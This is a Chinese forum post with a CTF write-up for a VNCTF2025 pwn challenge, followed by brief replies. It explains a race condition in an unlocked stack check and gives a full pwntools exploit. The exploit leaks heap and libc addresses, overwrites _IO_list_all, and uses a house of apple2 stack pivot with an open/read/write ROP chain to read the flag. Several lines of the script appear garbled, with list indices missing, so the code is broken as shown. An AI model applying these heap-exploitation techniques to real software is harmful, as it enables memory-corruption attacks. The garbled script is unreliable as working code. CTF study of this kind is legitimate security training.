ajguthahbzzb 发表于 2025-3-18 21:00

VNCTF2025 好easy嘅题啦 wp

0x0 前言这道题是一道多线程题,其实漏洞很容易发现而且很容易利用,但是调试比较麻烦,需要通过调试定位stack和heap的相对位置,然后让stack一直pop到heap指针的位置。调试只能在ubuntu22.04上调,在其他版本会报错,这里我使用pwndocker环境。

0x1 程序逻辑分析第一次连接时会询问“How many threads do you want to create?”,其实查看源码或者经过调试可以发现其并不是允许多少个线程同时创建,而是只是创建多少个thread arena而已,所以这里输入1确保所有连接的操作都在main arena上进行以便泄漏堆地址和libc地址。
以后的每次连接可以接收指定语法的code。在指令里面除了stack和heap以外,其他都是针对0-3寄存器没有什么bug的操作。stack漏洞在于判断条件stack->top != stack->size && stack->top没有加锁,使得可以让两个线程同时进入临界区从而产生索引溢出;heap使用了c++里的vector,官方wp说也有漏洞,不过没看出来。

0x2 思路
[*]让stack溢出。操作很简单,只需要两个socket连接同时发送stack指令和EOF即可同时进入判断后的代码里,然后分别发送pop指令即可溢出。注意,为了让heap离stack的距离近点,我的代码里在stack创建完后即填充heap数组,这样heap的vector结构体就会在stack后面的固定位置分配。(经过我对heap位置的调整,只需pop 0xd6次即可,比官方wp的快了不少)
[*]泄漏heap和libc地址。这通过将chunk放入large bin和tcache再取出可以得到。
[*]依次通过pop、push修改vector里的heap指针来完成任意地址读写,最终使用house of apple2完成攻击。注意,这里最好不要getshell,因为io不是通过标准输入输出流连接,或者在getshell前将输入输出流重定向。

0x3 完整expfrom pwncli import *

# VNCTF{an0N_t0kyo-1S-Th3_6EST-BAnD!ll7567ab}

elf = ELF("./pwn")
# io = gift.io = elf.process()

libc = ELF("./lib/libc.so.6")
context(log_level="debug", arch="amd64", terminal=["tmux", "sp", "-h"])

get_remote = lambda: remote("127.0.0.1", 9999)
# get_remote = lambda: remote("node.vnteam.cn", 48169)
nop = lambda: None

code_arr = []
oper_arr = []
ios: list = * 10
addrs = []
sleep_time = 0.05

def run_code(close=True):
    gift.io = get_remote()
    code_arr.append("EOF")
    ru(b"Input your Code (end with EOF): ")
    for c in code_arr:
      sleep(sleep_time)
      sl(c.encode())
    for oper in oper_arr:
      sleep(sleep_time)
      oper()
    code_arr.clear()
    oper_arr.clear()
    if close:
      ic()

def heap_op(reg, operation):
    code_arr.append(f"heap {reg} {reg}")
    oper_arr.append(lambda: sla("Heap operate: ", operation))

def heap_alloc(size):
    heap_op(0, "alloc")
    oper_arr.append(lambda: sla("Size: ", str(size)))

def heap_free(reg):
    heap_op(reg, "free")

def heap_print(reg, callback=nop):
    heap_op(reg, "print")
    oper_arr.append(callback)

def heap_input(reg, val):
    heap_op(reg, "input")
    oper_arr.append(lambda: sla(b"Input: ", val))

def stack_pop(reg):
    code_arr.append(f"stack {reg} {reg}")
    oper_arr.append(lambda: sla("Stack operate: ", "pop"))

def stack_push(reg):
    code_arr.append(f"stack {reg} {reg}")
    oper_arr.append(lambda: sla("Stack operate: ", "push"))

def print_reg(reg, callback=lambda: print(rl().decode())):
    code_arr.append(f"print {reg} {reg}")
    oper_arr.append(callback)

def input_reg(reg, val):
    code_arr.append(f"input {reg} {reg}")
    oper_arr.append(lambda: sla(f"Input reg{reg}: ", str(val).encode()))

def quit():
    code_arr.append("AveMujica 0 0")
    oper_arr.append(lambda: ru("ようこそAveMujicaの世界へ".encode()))

def leak():
    ru(b"Content: ")
    addr = u64(r(8))
    success(f"{addr = :x}")
    addrs.append(addr)


# 只有一个arena
io = get_remote()
io.sendlineafter(b"How many threads do you want to create? ", b"1")
io.close()

# 让stack指针越界
ios = get_remote()
ios = get_remote()
ios.recvuntil(b"Input your Code (end with EOF): ")
sleep(sleep_time)
ios.recvuntil(b"Input your Code (end with EOF): ")
sleep(sleep_time)
ios.sendline(b"stack 0 0")
sleep(sleep_time)
ios.sendline(b"stack 0 0")
for i in range(5): # 改良堆结构,让stack和heap相对位置更近
    sleep(sleep_time)
    ios.sendline(b"heap 0 0")
sleep(sleep_time)
ios.sendline(b"EOF")
sleep(sleep_time)
ios.sendline(b"EOF")
sleep(sleep_time)
ios.sendlineafter(b"Stack operate: ", b"pop")
for i in range(2):
    sleep(sleep_time)
    ios.sendlineafter(b"Heap operate: ", b"alloc")
    sleep(sleep_time)
    ios.sendlineafter(b"Size: ", str(0x80).encode())
for i in range(3):
    sleep(sleep_time)
    ios.sendlineafter(b"Heap operate: ", b"alloc")
    sleep(sleep_time)
    ios.sendlineafter(b"Size: ", str(0x10).encode())
sleep(sleep_time)
ios.sendlineafter(b"Stack operate: ", b"pop")

ios.close()
ios.close()


# 泄漏heap和libc地址
for i in range(5):
    heap_free(0)
for i in range(1, 4):
    input_reg(i, i)
heap_alloc(0x500)
heap_alloc(0x400)
heap_free(0)
heap_alloc(0x510) # 0
heap_alloc(0x500) # 1
heap_free(0)
heap_alloc(0x400) # 2

for i in range(3):
    heap_print(i, leak)
    # heap_free(0)

run_code()

libc.address = addrs - 0x21b110
heap_base = (addrs - 0x14) << 12

success(f"{libc.address = :x}")
success(f"{heap_base = :x}")


# 打_IO_list_all
for i in range(0xd6):
    stack_pop(0)
    print_reg(0)

stack_pop(0)
def leak_chunk():
    addr = int(rl().decode(), 16)
    print(hex(addr))
    addrs.append(addr)
print_reg(0, leak_chunk)
input_reg(0, libc.sym._IO_list_all)
stack_push(0)
input_reg(0, 0)
run_code()

# 改回堆地址
heap_addr = addrs[-1]
heap_input(0, p64(heap_addr))
run_code()


stack_pop(0)
input_reg(0, heap_addr)
stack_push(0)

# house of apple2
leave_ret = libc.address + 0x000000000004da83
pop_rbp = libc.address + 0x000000000002a2e0

io_file = IO_FILE_plus_struct()
payload = io_file.house_of_apple2_stack_pivoting_when_exit(heap_addr,
    libc.sym._IO_wfile_jumps, leave_ret, pop_rbp,
    heap_addr + 0xE0 - 0x8
)
rop = ROP(libc)
rop.base = heap_addr + 0xE0
rop.open(b"./flag\0", 0)
rop.read(9, heap_base + 0x300, 0x100)
rop.write(7, heap_base + 0x300, 0x100)
print(rop.dump())
payload += rop.chain()

input_reg(0, 0)
heap_input(0, payload)
quit()

run_code(close=False)

ia()

vstral 发表于 2025-3-19 17:08

666太强了师傅

44003112 发表于 2026-4-3 17:22

学习一下,还是喜欢这个网站!

inkey 发表于 2026-7-16 01:48

当时好像还有非预期 出题没出好(
页: [1]
查看完整版本: VNCTF2025 好easy嘅题啦 wp